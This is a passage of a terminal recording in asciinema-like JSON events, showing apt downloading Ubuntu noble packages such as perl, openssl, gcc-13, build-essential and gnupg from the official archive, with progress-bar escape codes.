[27.614507, "o", "\u001b[33m\r                                        \r10% [Working]\u001b[0m\r             \rGet:17 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm6t64 amd64 1.23-5.1build1 [34.4 kB]\r\n\u001b[33m\r10% [17 libgdbm6t64 19.8 kB/34.4 kB 58%]\u001b[0m"]
[27.6335, "o", "\u001b[33m\r                                        \r10% [Working]\u001b[0m\r             \rGet:18 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm-compat4t64 amd64 1.23-5.1build1 [6710 B]\r\n\u001b[33m\r10% [18 libgdbm-compat4t64 6710 B/6710 B 100%]\u001b[0m\u001b[33m\r                                              \r10% [Working]\u001b[0m\r             \rGet:19 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libperl5.38t64 amd64 5.38.2-3.2ubuntu0.2 [4874 kB]\r\n\u001b[33m\r10% [19 libperl5.38t64 0 B/4874 kB 0%]\u001b[0m"]
[27.777477, "o", "\u001b[33m\r                                      \r13% [Working]\u001b[0m\r             \rGet:20 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl amd64 5.38.2-3.2ubuntu0.2 [231 kB]\r\n\u001b[33m\r13% [20 perl 14.0 kB/231 kB 6%]\u001b[0m"]
[27.795577, "o", "\u001b[33m\r                               \r14% [Working]\u001b[0m\r             \rGet:21 http://archive.ubuntu.com/ubuntu noble/main amd64 adduser all 3.137ubuntu1 [101 kB]\r\n"]
[27.796652, "o", "\u001b[33m\r14% [21 adduser 44.5 kB/101 kB 44%]\u001b[0m\u001b[33m\r                                   \r14% [Working]\u001b[0m\r             \rGet:22 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 openssl amd64 3.0.13-0ubuntu3.7 [1003 kB]\r\n\u001b[33m\r14% [22 openssl 0 B/1003 kB 0%]\u001b[0m"]
[27.817119, "o", "\u001b[33m\r                               \r15% [Working]\u001b[0m\r             \rGet:23 http://archive.ubuntu.com/ubuntu noble/main amd64 ca-certificates all 20240203 [159 kB]\r\n\r             \rGet:24 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbsd0 amd64 0.12.1-1build1.1 [41.2 kB]\r\n\u001b[33m\r15% [24 libbsd0 41.2 kB/41.2 kB 100%]\u001b[0m\r                                     \rGet:25 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-pkg-resources all 68.1.2-2ubuntu1.2 [168 kB]\r\n\u001b[33m\r15% [25 python3-pkg-resources 49.4 kB/168 kB 29%]\u001b[0m"]
[27.823585, "o", "\u001b[33m\r                                                 \r"]
[27.828082, "o", "15% [Working]\u001b[0m\r             \rGet:26 http://archive.ubuntu.com/ubuntu noble/main amd64 libjansson4 amd64 2.14-2build2 [32.8 kB]\r\n\u001b[33m\r15% [26 libjansson4 32.8 kB/32.8 kB 100%]\u001b[0m"]
[27.829705, "o", "\u001b[33m\r                                         \r"]
[27.83194, "o", "16% [Working]\u001b[0m\r             \rGet:27 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpng16-16t64 amd64 1.6.43-5ubuntu0.5 [188 kB]\r\n\u001b[33m\r16% [27 libpng16-16t64 44.7 kB/188 kB 24%]\u001b[0m"]
[27.839566, "o", "\r                                          \rGet:28 http://archive.ubuntu.com/ubuntu noble/main amd64 libxau6 amd64 1:1.0.9-1build6 [7160 B]\r\n\r                                          \r"]
[27.843367, "o", "Get:29 http://archive.ubuntu.com/ubuntu noble/main amd64 libxdmcp6 amd64 1:1.1.3-0ubuntu6 [10.3 kB]\r\n\u001b[33m\r                                          \r16% [29 libxdmcp6 10.3 kB/10.3 kB 100%]\u001b[0m\u001b[33m\r                                       \r16% [Working]\u001b[0m"]
[27.875969, "o", "\r             \rGet:30 http://archive.ubuntu.com/ubuntu noble/main amd64 libxcb1 amd64 1.15-1ubuntu2 [47.7 kB]\r\n\u001b[33m\r16% [30 libxcb1 0 B/47.7 kB 0%]\u001b[0m\r                               \rGet:31 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-data all 2:1.8.7-1build1 [115 kB]\r\n\u001b[33m\r16% [31 libx11-data 50.4 kB/115 kB 44%]\u001b[0m"]
[27.877897, "o", "\u001b[33m\r                                       \r17% [Working]"]
[27.878621, "o", "\u001b[0m"]
[27.918693, "o", "\r             \rGet:32 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-6 amd64 2:1.8.7-1build1 [650 kB]\r\n\u001b[33m\r17% [32 libx11-6 9844 B/650 kB 2%]"]
[27.921898, "o", "\u001b[0m"]
[27.945713, "o", "\r                                  \rGet:33 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages all 6.7-2 [1384 kB]\r\n\u001b[33m\r17% [33 manpages 67.8 kB/1384 kB 5%]\u001b[0m"]
[27.992403, "o", "\u001b[33m\r                                    \r"]
[27.995886, "o", "18% [Working]\u001b[0m\r             \rGet:34 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 xz-utils amd64 5.6.1+really5.4.5-1ubuntu0.2 [267 kB]\r\n\u001b[33m\r18% [34 xz-utils 61.7 kB/267 kB 23%]\u001b[0m"]
[28.009449, "o", "\r                                    \rGet:35 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-common amd64 2.42-4ubuntu2.10 [240 kB]\r\n\u001b[33m\r19% [35 binutils-common 118 kB/240 kB 49%]\u001b[0m"]
[28.021883, "o", "\r                                          \rGet:36 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsframe1 amd64 2.42-4ubuntu2.10 [15.7 kB]\r\n\u001b[33m\r                                          \r19% [36 libsframe1 8866 B/15.7 kB 56%]\u001b[0m\r                                      \rGet:37 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbinutils amd64 2.42-4ubuntu2.10 [577 kB]\r\n\u001b[33m\r19% [37 libbinutils 189 kB/577 kB 33%]\u001b[0m"]
[28.034929, "o", "\r                                      \r"]
[28.04084, "o", "Get:38 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf-nobfd0 amd64 2.42-4ubuntu2.10 [98.0 kB]\r\n\u001b[33m\r20% [38 libctf-nobfd0 62.0 kB/98.0 kB 63%]\u001b[0m"]
[28.042528, "o", "\u001b[33m\r                                          \r20% [Working]\u001b[0m"]
[28.051047, "o", "\r             \r"]
[28.053342, "o", "Get:39 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf0 amd64 2.42-4ubuntu2.10 [94.5 kB]\r\n"]
[28.064968, "o", "\r             \rGet:40 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgprofng0 amd64 2.42-4ubuntu2.10 [849 kB]\r\n\u001b[33m\r21% [40 libgprofng0 849 kB/849 kB 100%]\u001b[0m"]
[28.065942, "o", "\r                                       \rGet:41 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-x86-64-linux-gnu amd64 2.42-4ubuntu2.10 [2463 kB]\r\n\u001b[33m\r21% [41 binutils-x86-64-linux-gnu 24.3 kB/2463 kB 1%]\u001b[0m"]
[28.161801, "o", "\r                                                     \rGet:42 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils amd64 2.42-4ubuntu2.10 [18.2 kB]\r\n\r                                                     \rGet:43 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-dev-bin amd64 2.39-0ubuntu8.7 [20.4 kB]\r\n\u001b[33m\r                                                     \r23% [43 libc-dev-bin 20.4 kB/20.4 kB 100%]\u001b[0m\r                                          \rGet:44 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 linux-libc-dev amd64 6.8.0-107.107 [2096 kB]\r\n\u001b[33m\r23% [44 linux-libc-dev 297 kB/2096 kB 14%]\u001b[0m"]
[28.228437, "o", "\r                                          \rGet:45 http://archive.ubuntu.com/ubuntu noble/main amd64 libcrypt-dev amd64 1:4.4.36-4build1 [112 kB]\r\n"]
[28.234844, "o", "\r                                          \rGet:46 http://archive.ubuntu.com/ubuntu noble/main amd64 rpcsvc-proto amd64 1.4.2-0ubuntu7 [67.4 kB]\r\n\u001b[33m\r25% [46 rpcsvc-proto 67.4 kB/67.4 kB 100%]\u001b[0m\r                                          \rGet:47 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc6-dev amd64 2.39-0ubuntu8.7 [2124 kB]\r\n\u001b[33m\r                                          \r25% [47 libc6-dev 227 kB/2124 kB 11%]\u001b[0m"]
[28.314748, "o", "\r                                     \rGet:48 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-base amd64 13.3.0-6ubuntu2~24.04.1 [51.6 kB]\r\n\u001b[33m\r27% [48 gcc-13-base 31.6 kB/51.6 kB 61%]"]
[28.319678, "o", "\u001b[0m\r                                        \rGet:49 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libisl23 amd64 0.26-3build1.1 [680 kB]\r\n\u001b[33m\r                                        \r27% [49 libisl23 81.3 kB/680 kB 12%]\u001b[0m"]
[28.354406, "o", "\r                                    \rGet:50 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpfr6 amd64 4.2.1-1build1.1 [353 kB]\r\n\u001b[33m\r                                    \r27% [50 libmpfr6 31.0 kB/353 kB 9%]\u001b[0m"]
[28.375712, "o", "\r                                   \r"]
[28.376417, "o", "Get:51 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpc3 amd64 1.3.1-1build1.1 [54.6 kB]"]
[28.379414, "o", "\r\n\u001b[33m\r28% [51 libmpc3 25.8 kB/54.6 kB 47%]\u001b[0m"]
[28.381017, "o", "\u001b[33m\r                                    \r28% [Working]\u001b[0m\r             \rGet:52 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [10.7 MB]\r\n\u001b[33m\r28% [52 cpp-13-x86-64-linux-gnu 102 kB/10.7 MB 1%]\u001b[0m"]
[28.828979, "o", "\u001b[33m\r                                                  \r36% [Working]\u001b[0m\r             \rGet:53 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13 amd64 13.3.0-6ubuntu2~24.04.1 [1042 B]\r\n\r             \rGet:54 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [5326 B]\r\n\u001b[33m\r36% [54 cpp-x86-64-linux-gnu 5326 B/5326 B 100%]\u001b[0m\u001b[33m\r                                                \r36% [Working]\u001b[0m"]
[28.831416, "o", "\r             \r"]
[28.833624, "o", "Get:55 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp amd64 4:13.2.0-7ubuntu1 [22.4 kB]"]
[28.836648, "o", "\r\n\u001b[33m\r36% [55 cpp 0 B/22.4 kB 0%]\u001b[0m"]
[28.839415, "o", "\u001b[33m\r                           \r36% [Working]\u001b[0m"]
[28.840072, "o", "\r             \r"]
[28.842499, "o", "Get:56 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcc1-0 amd64 14.2.0-4ubuntu2~24.04.1 [48.0 kB]\r\n\u001b[33m\r36% [56 libcc1-0 0 B/48.0 kB 0%]"]
[28.843596, "o", "\u001b[0m"]
[28.846014, "o", "\u001b[33m\r                                \r"]
[28.849325, "o", "36% [Working]\u001b[0m"]
[28.850188, "o", "\r             \rGet:57 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgomp1 amd64 14.2.0-4ubuntu2~24.04.1 [148 kB]\r\n\u001b[33m\r36% [57 libgomp1 61.4 kB/148 kB 41%]\u001b[0m"]
[28.854401, "o", "\u001b[33m\r                                    \r"]
[28.855547, "o", "36% [Working]"]
[28.856321, "o", "\u001b[0m"]
[28.857052, "o", "\r             \r"]
[28.858525, "o", "Get:58 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libitm1 amd64 14.2.0-4ubuntu2~24.04.1 [29.7 kB]"]
[28.859371, "o", "\r\n\u001b[33m\r37% [58 libitm1 29.7 kB/29.7 kB 100%]\u001b[0m"]
[28.863857, "o", "\u001b[33m\r                                     \r37% [Working]\u001b[0m\r             \rGet:59 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libatomic1 amd64 14.2.0-4ubuntu2~24.04.1 [10.5 kB]\r\n\u001b[33m\r37% [Waiting for headers]"]
[28.866295, "o", "\u001b[0m"]
[28.86667, "o", "\r                         \r"]
[28.868261, "o", "Get:60 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libasan8 amd64 14.2.0-4ubuntu2~24.04.1 [3027 kB]"]
[28.871354, "o", "\r\n"]
[28.871913, "o", "\u001b[33m\r37% [60 libasan8 131 kB/3027 kB 4%]\u001b[0m"]
[28.959952, "o", "\u001b[33m\r                                   \r39% [Working]\u001b[0m\r             \rGet:61 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 liblsan0 amd64 14.2.0-4ubuntu2~24.04.1 [1322 kB]\r\n\u001b[33m\r39% [61 liblsan0 0 B/1322 kB 0%]\u001b[0m"]
[29.007353, "o", "\u001b[33m\r                                \r"]
[29.00934, "o", "40% [Working]\u001b[0m\r             \rGet:62 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtsan2 amd64 14.2.0-4ubuntu2~24.04.1 [2772 kB]\r\n\u001b[33m\r40% [62 libtsan2 24.1 kB/2772 kB 1%]\u001b[0m"]
[29.124489, "o", "\r                                    \rGet:63 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libubsan1 amd64 14.2.0-4ubuntu2~24.04.1 [1184 kB]"]
[29.127608, "o", "\r\n\u001b[33m\r                                    \r42% [63 libubsan1 220 B/1184 kB 0%]\u001b[0m"]
[29.183001, "o", "\u001b[33m\r                                   \r43% [Working]\u001b[0m\r             \rGet:64 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libhwasan0 amd64 14.2.0-4ubuntu2~24.04.1 [1641 kB]\r\n"]
[29.207762, "o", "\u001b[33m\r43% [64 libhwasan0 70.9 kB/1641 kB 4%]\u001b[0m"]
[29.262556, "o", "\u001b[33m\r                                      \r44% [Working]\u001b[0m\r             \rGet:65 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libquadmath0 amd64 14.2.0-4ubuntu2~24.04.1 [153 kB]\r\n\u001b[33m\r45% [Waiting for headers]\u001b[0m\r                         \rGet:66 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgcc-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2681 kB]\r\n\u001b[33m\r45% [66 libgcc-13-dev 0 B/2681 kB 0%]\u001b[0m"]
[29.381691, "o", "\u001b[33m\r                                     \r47% [Working]\u001b[0m\r             \rGet:67 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [21.1 MB]\r\n\u001b[33m\r47% [67 gcc-13-x86-64-linux-gnu 203 kB/21.1 MB 1%]\u001b[0m"]
[29.882324, "o", "\u001b[33m\r55% [67 gcc-13-x86-64-linux-gnu 11.4 MB/21.1 MB 54%]\u001b[0m"]
[30.344054, "o", "\u001b[33m\r                                                    \r62% [Working]\u001b[0m"]
[30.355746, "o", "\r             \rGet:68 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13 amd64 13.3.0-6ubuntu2~24.04.1 [494 kB]\r\n\u001b[33m\r62% [68 gcc-13 0 B/494 kB 0%]\u001b[0m"]
[30.366333, "o", "\u001b[33m\r                             \r"]
[30.366963, "o", "62% [Working]\u001b[0m"]
[30.367671, "o", "\r             \rGet:69 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [1212 B]\r\n\u001b[33m\r62% [69 gcc-x86-64-linux-gnu 1212 B/1212 B 100%]\u001b[0m"]
[30.383691, "o", "\r                                                \rGet:70 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc amd64 4:13.2.0-7ubuntu1 [5018 B]\r\n\r                                                \r"]
[30.385933, "o", "Get:71 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libstdc++-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2420 kB]\r\n\u001b[33m\r                                                \r63% [71 libstdc++-13-dev 65.2 kB/2420 kB 3%]\u001b[0m"]
[30.449517, "o", "\u001b[33m\r                                            \r"]
[30.452708, "o", "64% [Working]\u001b[0m\r             \rGet:72 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [12.2 MB]\r\n"]
[30.456252, "o", "\u001b[33m\r64% [72 g++-13-x86-64-linux-gnu 0 B/12.2 MB 0%]\u001b[0m"]
[30.960056, "o", "\u001b[33m\r72% [72 g++-13-x86-64-linux-gnu 10.4 MB/12.2 MB 86%]\u001b[0m"]
[31.062078, "o", "\r                                                    \rGet:73 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13 amd64 13.3.0-6ubuntu2~24.04.1 [16.0 kB]\r\n\r                                                    \rGet:74 http://archive.ubuntu.com/ubuntu noble/main amd64 g++-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [964 B]\r\n\u001b[33m\r                                                    \r73% [74 g++-x86-64-linux-gnu 0 B/964 B 0%]\u001b[0m\u001b[33m\r                                          \r73% [Working]\u001b[0m\r             \rGet:75 http://archive.ubuntu.com/ubuntu noble/main amd64 g++ amd64 4:13.2.0-7ubuntu1 [1100 B]\r\n\u001b[33m\r73% [75 g++ 0 B/1100 B 0%]\u001b[0m\u001b[33m\r                          \r73% [Working]\u001b[0m\r             \rGet:76 http://archive.ubuntu.com/ubuntu noble/main amd64 make amd64 4.3-4.1build2 [180 kB]\r\n\u001b[33m\r73% [76 make 0 B/180 kB 0%]\u001b[0m\u001b[33m\r                           \r74% [Working]\u001b[0m\r             \rGet:77 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdpkg-perl all 1.22.6ubuntu6.5 [269 kB]\r\n"]
[31.06378, "o", "\u001b[33m\r74% [77 libdpkg-perl 0 B/269 kB 0%]\u001b[0m"]
[31.073579, "o", "\u001b[33m\r                                   \r"]
[31.07368, "o", "74% [Working]\u001b[0m\r             \r"]
[31.07603, "o", "Get:78 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 bzip2 amd64 1.0.8-5.1build0.1 [34.5 kB]\r\n\u001b[33m\r74% [78 bzip2 9298 B/34.5 kB 27%]\u001b[0m"]
[31.079263, "o", "\u001b[33m\r                                 \r"]
[31.083752, "o", "74% [Working]\u001b[0m\r             \rGet:79 http://archive.ubuntu.com/ubuntu noble/main amd64 patch amd64 2.7.6-7build3 [104 kB]\r\n\u001b[33m\r74% [79 patch 98.3 kB/104 kB 94%]\u001b[0m"]
[31.085273, "o", "\u001b[33m\r                                 \r"]
[31.089639, "o", "74% [Working]\u001b[0m\r             \r"]
[31.091509, "o", "Get:80 http://archive.ubuntu.com/ubuntu noble/main amd64 lto-disabled-list all 47 [12.4 kB]\r\n"]
[31.096532, "o", "\u001b[33m\r74% [80 lto-disabled-list 12.4 kB/12.4 kB 100%]\u001b[0m\r                                               \rGet:81 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dpkg-dev all 1.22.6ubuntu6.5 [1074 kB]\r\n\u001b[33m\r                                               \r75% [81 dpkg-dev 77.8 kB/1074 kB 7%]\u001b[0m"]
[31.109679, "o", "\u001b[33m\r                                    \r75% [Working]\u001b[0m"]
[31.11765, "o", "\r             \rGet:82 http://archive.ubuntu.com/ubuntu noble/main amd64 build-essential amd64 12.10ubuntu1 [4928 B]\r\n\u001b[33m\r75% [82 build-essential 0 B/4928 B 0%]\u001b[0m"]
[31.124103, "o", "\u001b[33m\r                                      \r76% [Working]\u001b[0m\r             \rGet:83 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgconf amd64 2.4.4-2ubuntu17.4 [104 kB]\r\n\u001b[33m\r76% [83 gpgconf 9844 B/104 kB 9%]"]
[31.124786, "o", "\u001b[0m\u001b[33m\r                                 \r76% [Working]\u001b[0m\r             \rGet:84 http://archive.ubuntu.com/ubuntu noble/main amd64 libksba8 amd64 1.6.6-1build1 [122 kB]\r\n\u001b[33m\r76% [84 libksba8 16.4 kB/122 kB 13%]\u001b[0m"]
[31.131965, "o", "\u001b[33m\r                                    \r76% [Working]\u001b[0m"]
[31.167125, "o", "\r             \rGet:85 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg1-5ubuntu3.1 [20.4 kB]\r\n\u001b[33m\r76% [85 libsasl2-modules-db 8398 B/20.4 kB 41%]\u001b[0m\r                                               \rGet:86 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-2 amd64 2.1.28+dfsg1-5ubuntu3.1 [53.2 kB]\r\n\u001b[33m\r                                               \r76% [86 libsasl2-2 9846 B/53.2 kB 19%]\u001b[0m\u001b[33m\r                                      \r76% [Working]\u001b[0m\r             \rGet:87 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap2 amd64 2.6.10+dfsg-0ubuntu0.24.04.1 [198 kB]\r\n\u001b[33m\r76% [87 libldap2 108 kB/198 kB 55%]\u001b[0m"]
[31.190913, "o", "\u001b[33m\r                                   \r77% [Working]\u001b[0m\r             \rGet:88 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dirmngr amd64 2.4.4-2ubuntu17.4 [323 kB]\r\n\u001b[33m\r77% [88 dirmngr 173 kB/323 kB 53%]\u001b[0m"]
[31.194816, "o", "\u001b[33m\r                                  \r"]
[31.197033, "o", "77% [Working]\u001b[0m"]
[31.209826, "o", "\r             \r"]
[31.229066, "o", "Get:89 http://archive.ubuntu.com/ubuntu noble/main amd64 libfakeroot amd64 1.33-1 [32.4 kB]"]
[31.231361, "o", "\r\n\r             \rGet:90 http://archive.ubuntu.com/ubuntu noble/main amd64 fakeroot amd64 1.33-1 [67.2 kB]\r\n\r             \rGet:91 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-mono all 2.37-8 [502 kB]\r\n\u001b[33m\r78% [91 fonts-dejavu-mono 502 kB/502 kB 100%]\u001b[0m\r                                             \rGet:92 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-core all 2.37-8 [835 kB]\r\n\u001b[33m\r                                             \r78% [92 fonts-dejavu-core 438 kB/835 kB 52%]\u001b[0m"]
[31.251779, "o", "\u001b[33m\r                                            \r79% [Working]\u001b[0m\r             \rGet:93 http://archive.ubuntu.com/ubuntu noble/main amd64 fontconfig-config amd64 2.15.0-1.1ubuntu2 [37.3 kB]\r\n"]
[31.2546, "o", "\u001b[33m\r79% [93 fontconfig-config 37.3 kB/37.3 kB 100%]"]
[31.256605, "o", "\u001b[0m"]
[31.260044, "o", "\r                                               \r"]
[31.26595, "o", "Get:94 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-utils amd64 2.4.4-2ubuntu17.4 [109 kB]\r\n\u001b[33m\r                                               \r79% [94 gnupg-utils 77.2 kB/109 kB 71%]\u001b[0m"]
[31.272706, "o", "\u001b[33m\r                                       \r79% [Working]\u001b[0m\r             \rGet:95 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg amd64 2.4.4-2ubuntu17.4 [565 kB]\r\n\u001b[33m\r79% [95 gpg 33.3 kB/565 kB 6%]\u001b[0m"]
[31.280855, "o", "\u001b[33m\r                              \r80% [Working]\u001b[0m\r             \rGet:96 http://archive.ubuntu.com/ubuntu noble/main amd64 pinentry-curses amd64 1.2.1-3ubuntu5 [35.2 kB]\r\n\u001b[33m\r80% [96 pinentry-curses 9238 B/35.2 kB 26%]\u001b[0m"]
[31.285448, "o", "\u001b[33m\r                                           \r80% [Working]\u001b[0m\r             \rGet:97 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-agent amd64 2.4.4-2ubuntu17.4 [227 kB]\r\n\u001b[33m\r80% [97 gpg-agent 153 kB/227 kB 67%]\u001b[0m"]
[31.294345, "o", "\u001b[33m\r                                    \r"]
[31.296017, "o", "80% [Working]"]
[31.298857, "o", "\u001b[0m\r             \rGet:98 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgsm amd64 2.4.4-2ubuntu17.4 [232 kB]\r\n"]
[31.30142, "o", "\u001b[33m\r80% [98 gpgsm 106 kB/232 kB 46%]\u001b[0m"]
[31.326368, "o", "\r                                \rGet:99 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 keyboxd amd64 2.4.4-2ubuntu17.4 [78.3 kB]\r\n\r                                \rGet:100 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg all 2.4.4-2ubuntu17.4 [359 kB]\r\n\u001b[33m\r81% [100 gnupg 281 kB/359 kB 78%]\u001b[0m\r                                 \rGet:101 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-l10n all 2.4.4-2ubuntu17.4 [66.4 kB]\r\n\u001b[33m\r81% [101 gnupg-l10n 74 B/66.4 kB 0%]\u001b[0m"]
[31.332229, "o", "\u001b[33m\r                                    \r81% [Working]\u001b[0m"]
[31.430431, "o", "\r             \rGet:102 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-wks-client amd64 2.4.4-2ubuntu17.4 [70.8 kB]\r\n\u001b[33m\r81% [102 gpg-wks-client 1157 B/70.8 kB 2%]\u001b[0m"]
[31.550453, "o", "\u001b[33m\r                                          \r81% [Working]\u001b[0m"]
[31.617655, "o", "\r             \rGet:103 http://archive.ubuntu.com/ubuntu noble/main amd64 javascript-common all 11+nmu1 [5936 B]\r\n"]
[31.619993, "o", "\r             \rGet:104 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-perl all 1.201-1 [41.8 kB]\r\n\u001b[33m\r81% [104 libalgorithm-diff-perl 31.1 kB/41.8 kB 74%]\u001b[0m"]
[31.631479, "o", "\u001b[33m\r                                                    \r82% [Waiting for headers]\u001b[0m\r                         \rGet:105 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-xs-perl amd64 0.04-8build3 [11.2 kB]\r\n\r                         \rGet:106 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-merge-perl all 0.08-5 [11.4 kB]\r\n\u001b[33m\r82% [106 libalgorithm-merge-perl 11.4 kB/11.4 kB 100%]\u001b[0m"]
[31.633445, "o", "\r                                                      \rGet:107 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libaom3 amd64 3.8.2-2ubuntu0.1 [1941 kB]\r\n\u001b[33m\r                                                      \r82% [107 libaom3 8100 B/1941 kB 0%]\u001b[0m"]
[31.881317, "o", "\r                                   \rGet:108 http://archive.ubuntu.com/ubuntu noble/main amd64 libbrotli1 amd64 1.1.0-2build2 [331 kB]\r\n\u001b[33m\r83% [108 libbrotli1 68.6 kB/331 kB 21%]\u001b[0m"]
[31.884478, "o", "\r                                       \rGet:109 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libfreetype6 amd64 2.13.2+dfsg-1ubuntu0.1 [402 kB]\r\n\u001b[33m\r84% [109 libfreetype6 306 kB/402 kB 76%]"]
[31.887729, "o", "\u001b[0m"]
[31.896523, "o", "\r                                        \r"]
[31.899762, "o", "Get:110 http://archive.ubuntu.com/ubuntu noble/main amd64 libfontconfig1 amd64 2.15.0-1.1ubuntu2 [139 kB]\r\n\u001b[33m\r84% [110 libfontconfig1 87.2 kB/139 kB 63%]\u001b[0m"]
[31.90581, "o", "\u001b[33m\r                                           \r84% [Working]\u001b[0m\r             \rGet:111 http://archive.ubuntu.com/ubuntu noble/main amd64 libsharpyuv0 amd64 1.3.2-0.4build3 [15.8 kB]\r\n\u001b[33m\r84% [111 libsharpyuv0 0 B/15.8 kB 0%]\u001b[0m"]
[31.910697, "o", "\u001b[33m\r                                     \r"]
[31.912639, "o", "85% [Working]\u001b[0m\r             \rGet:112 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomdec amd64 1.17.6-1ubuntu4.2 [10.6 kB]\r\n\u001b[33m\r85% [Waiting for headers]\u001b[0m"]
[31.916998, "o", "\r                         \rGet:113 http://archive.ubuntu.com/ubuntu noble/main amd64 libde265-0 amd64 1.0.15-1build3 [166 kB]\r\n\u001b[33m\r85% [113 libde265-0 0 B/166 kB 0%]"]
[31.918955, "o", "\u001b[0m"]
[31.926308, "o", "\u001b[33m\r                                  \r85% [Working]\u001b[0m\r             \rGet:114 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-libde265 amd64 1.17.6-1ubuntu4.2 [8174 B]\r\n\u001b[33m\r85% [114 libheif-plugin-libde265 0 B/8174 B 0%]\u001b[0m"]
[31.930161, "o", "\u001b[33m\r                                               \r85% [Working]\u001b[0m\r             \rGet:115 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif1 amd64 1.17.6-1ubuntu4.2 [276 kB]\r\n\u001b[33m\r85% [115 libheif1 0 B/276 kB 0%]\u001b[0m"]
[31.934851, "o", "\u001b[33m\r                                \r"]
[31.937453, "o", "85% [Working]\u001b[0m\r             \rGet:116 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg-turbo8 amd64 2.1.5-2ubuntu2 [150 kB]\r\n\u001b[33m\r85% [116 libjpeg-turbo8 0 B/150 kB 0%]\u001b[0m"]
[31.940347, "o", "\u001b[33m\r                                      \r86% [Working]\u001b[0m\r             \rGet:117 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg8 amd64 8c-2ubuntu11 [2148 B]\r\n\u001b[33m\r86% [Waiting for headers]\u001b[0m"]
[31.970834, "o", "\r                         \rGet:118 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdeflate0 amd64 1.19-1build1.1 [43.9 kB]\r\n\u001b[33m\r86% [118 libdeflate0 0 B/43.9 kB 0%]\u001b[0m"]
[31.976077, "o", "\u001b[33m\r                                    \r"]
